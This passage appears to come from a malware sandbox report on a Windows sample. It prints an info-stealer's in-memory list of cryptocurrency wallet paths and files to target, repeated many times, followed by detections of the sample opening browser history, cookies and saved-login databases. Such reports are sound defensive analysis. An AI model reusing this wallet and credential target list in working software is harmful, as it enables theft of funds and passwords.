Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: powershell.exe, 00000006.00000002.1703031047.0000000007590000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
